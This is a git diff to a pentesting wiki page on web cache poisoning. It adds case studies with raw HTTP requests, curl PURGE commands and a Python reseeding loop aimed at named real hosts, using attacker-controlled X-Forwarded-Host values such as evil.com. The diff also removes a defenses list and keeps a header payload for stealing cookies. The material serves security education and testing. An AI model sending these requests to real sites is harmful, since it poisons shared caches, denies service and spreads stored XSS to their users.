diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index 506efe1f3de..8d824a7fa02 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -61,6 +61,108 @@ One more header related to the cache is **`Age`**. It defines the times in secon When caching a request, be **careful with the headers you use** because some of them could be **used unexpectedly** as **keyed** and the **victim will need to use that same header**. Always **test** a Cache Poisoning with **different browsers** to check if it's working. +### Foundational cache poisoning case studies + +#### HackerOne global redirect via `X-Forwarded-Host` + +- The origin templated redirects and canonical URLs with `X-Forwarded-Host`, but the cache key only used the `Host` header, so a single response poisoned every visitor to `/`. +- Poison with: + +```http +GET / HTTP/1.1 +Host: hackerone.com +X-Forwarded-Host: evil.com +``` + +- Immediately re-request `/` without the spoofed header; if the redirect persists you have a global host-spoofing primitive that often upgrades reflected redirects/Open Graph links into stored issues. + +#### GitHub repository DoS via `Content-Type` + `PURGE` + +- Anonymous traffic was keyed only on path, while the backend entered an error state when it saw an unexpected `Content-Type`. That error response was cacheable for every unauthenticated user of a repo. +- GitHub also (accidentally) honored the `PURGE` verb, letting the attacker flush a healthy entry and force caches to pull the poisoned variant on demand: + +```bash +curl -H "Content-Type: invalid-value" https://github.com/user/repo +curl -X PURGE https://github.com/user/repo +``` + +- Always compare authenticated vs anonymous cache keys, fuzz rarely keyed headers such as `Content-Type`, and probe for exposed cache-maintenance verbs to automate re-poisoning. + +#### Shopify cross-host persistence loops + +- Multi-layer caches sometimes require multiple identical hits before committing a new object. Shopify reused the same cache across numerous localized hosts, so persistence meant impact on many properties. +- Use short automation loops to repeatedly reseed: + +```python +import requests, time +for i in range(100): + requests.get("https://shop.shopify.com/endpoint", + headers={"X-Forwarded-Host": "attacker.com"}) + time.sleep(0.1) +print("attacker.com" in requests.get("https://shop.shopify.com/endpoint").text) +``` + +- After a `hit` response, crawl other hosts/assets that share the same cache namespace to demonstrate cross-domain blast radius. + +#### JS asset redirect → stored XSS chain + +- Private programs often host shared JS such as `/assets/main.js` across dozens of subdomains. If `X-Forwarded-Host` influences redirect logic for those assets but is unkeyed, the cached response becomes a 301 to attacker JS, yielding stored XSS everywhere the asset is imported. + +```http +GET /assets/main.js HTTP/1.1 +Host: target.com +X-Forwarded-Host: attacker.com +``` + +- Map which hosts reuse the same asset path so you can prove multi-subdomain compromise. + +#### GitLab static DoS via `X-HTTP-Method-Override` + +- GitLab served static bundles from Google Cloud Storage, which honors `X-HTTP-Method-Override`. Overriding GET to HEAD returned a cacheable `200 OK` with `Content-Length: 0`, and the edge cache ignored the HTTP method when generating the key. + +```http +GET /static/app.js HTTP/1.1 +Host: gitlab.com +X-HTTP-Method-Override: HEAD +``` + +- A single request replaced the JS bundle with an empty body for every GET, effectively DoSing the UI. Always test method overrides (`X-HTTP-Method-Override`, `X-Method-Override`, etc.) against static assets and confirm whether the cache varies on method. + +#### HackerOne static asset loop via `X-Forwarded-Scheme` + +- Rails’ Rack middleware trusted `X-Forwarded-Scheme` to decide whether to enforce HTTPS. Spoofing `http` against `/static/logo.png` triggered a cacheable 301 so all users subsequently received redirects (or loops) instead of the asset: + +```http +GET /static/logo.png HTTP/1.1 +Host: hackerone.com +X-Forwarded-Scheme: http +``` + +- Combine scheme spoofing with host spoofing when possible to craft irreversible redirects for highly visible resources. + +#### Cloudflare host-header casing mismatch + +- Cloudflare normalized the `Host` header for cache keys but forwarded the raw casing to origins. Sending `Host: TaRgEt.CoM` triggered alternate behavior in origin routing/templating while still populating the canonical lowercase cache bucket. + +```http +GET / HTTP/1.1 +Host: TaRgEt.CoM +``` + +- Enumerate CDN tenants by replaying mixed-case hosts (and other normalized headers) and diff the cached response versus the origin response to uncover shared-platform cache poisonings. + +#### Red Hat Open Graph meta poisoning + +- Injecting `X-Forwarded-Host` inside Open Graph tags turned a reflected HTML injection into a stored XSS once the CDN cached the page. Use a harmless cache buster during testing to avoid harming production users: + +```http +GET /en?dontpoisoneveryone=1 HTTP/1.1 +Host: www.redhat.com +X-Forwarded-Host: a."?> +``` + +- Social media scrapers consume cached Open Graph tags, so a single poisoned entry distributes the payload far beyond direct visitors. + ## Exploiting Examples ### Easiest example @@ -194,7 +296,7 @@ Practical recipe (observed across a popular CDN/WAF): Example header payload (to exfiltrate non-HttpOnly cookies): -``` +```http User-Agent: Mo00ozilla/5.0" ``` @@ -208,17 +310,12 @@ Impact: - If session cookies aren’t `HttpOnly`, zero-click ATO is possible by mass-exfiltrating `document.cookie` from all users who are served the poisoned HTML. -Defenses: - -- Stop reflecting request headers into HTML; strictly context-encode if unavoidable. Align CDN and origin cache policies and avoid varying on untrusted headers. -- Ensure WAF applies content inspection consistently to `.js` requests and static paths. -- Set `HttpOnly` (and `Secure`, `SameSite`) on session cookies. ### Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection) A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the `Sitecore.Shell.Xaml.WebControl` handler is reached, an `xmlcontrol:GlobalHeader` (derived from `Sitecore.Web.UI.WebControl`) is available and the following reflective call is allowed: -``` +```http POST /-/xaml/Sitecore.Shell.Xaml.WebControl Content-Type: application/x-www-form-urlencoded @@ -239,18 +336,6 @@ For full details (cache key construction, ItemService enumeration and a chained ATS forwarded the fragment inside the URL without stripping it and generated the cache key only using the host, path and query (ignoring the fragment). So the request `/#/../?r=javascript:alert(1)` was sent to the backend as `/#/../?r=javascript:alert(1)` and the cache key didn't have the payload inside of it, only host, path and query. -### GitHub CP-DoS - -Sending a bad value in the content-type header triggered a 405 cached response. The cache key contained the cookie so it was possible only to attack unauth users. - -### GitLab + GCP CP-DoS - -GitLab uses GCP buckets to store static content. **GCP Buckets** support the **header `x-http-method-override`**. So it was possible to send the header `x-http-method-override: HEAD` and poison the cache into returning an empty response body. It could also support the method `PURGE`. - -### Rack Middleware (Ruby on Rails) - -In Ruby on Rails applications, Rack middleware is often utilized. The purpose of the Rack code is to take the value of the **`x-forwarded-scheme`** header and set it as the request's scheme. When the header `x-forwarded-scheme: http` is sent, a 301 redirect to the same location occurs, potentially causing a Denial of Service (DoS) to that resource. Additionally, the application might acknowledge the `X-forwarded-host` header and redirect users to the specified host. This behavior can lead to the loading of JavaScript files from an attacker's server, posing a security risk. - ### 403 and Storage Buckets Cloudflare previously cached 403 responses. Attempting to access S3 or Azure Storage Blobs with incorrect Authorization headers would result in a 403 response that got cached. Although Cloudflare has stopped caching 403 responses, this behavior might still be present in other proxy services. @@ -376,7 +461,6 @@ Validation checklist - Confirm the authenticated header is present on the retargeted request (e.g., in a proxy or via server-side logs) and that the CDN caches the response under the traversed path. - From a fresh context (no auth), request the same path and confirm the secret JSON is served from cache. - ## Automatic Tools - [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques. @@ -396,6 +480,7 @@ Validation checklist - [CSPT overview by Matan Berson](https://matanber.com/blog/cspt-levels/) - [CSPT presentation by Maxence Schmitt](https://www.youtube.com/watch?v=O1ZN_OCfNzg) - [PortSwigger: Web Cache Deception](https://portswigger.net/web-security/web-cache-deception) +- [Cache Poisoning Case Studies Part 1: Foundational Attacks Behind a $100K+ Vulnerability Class](https://herish.me/blog/cache-poisoning-case-studies-part-1-foundational-attacks/)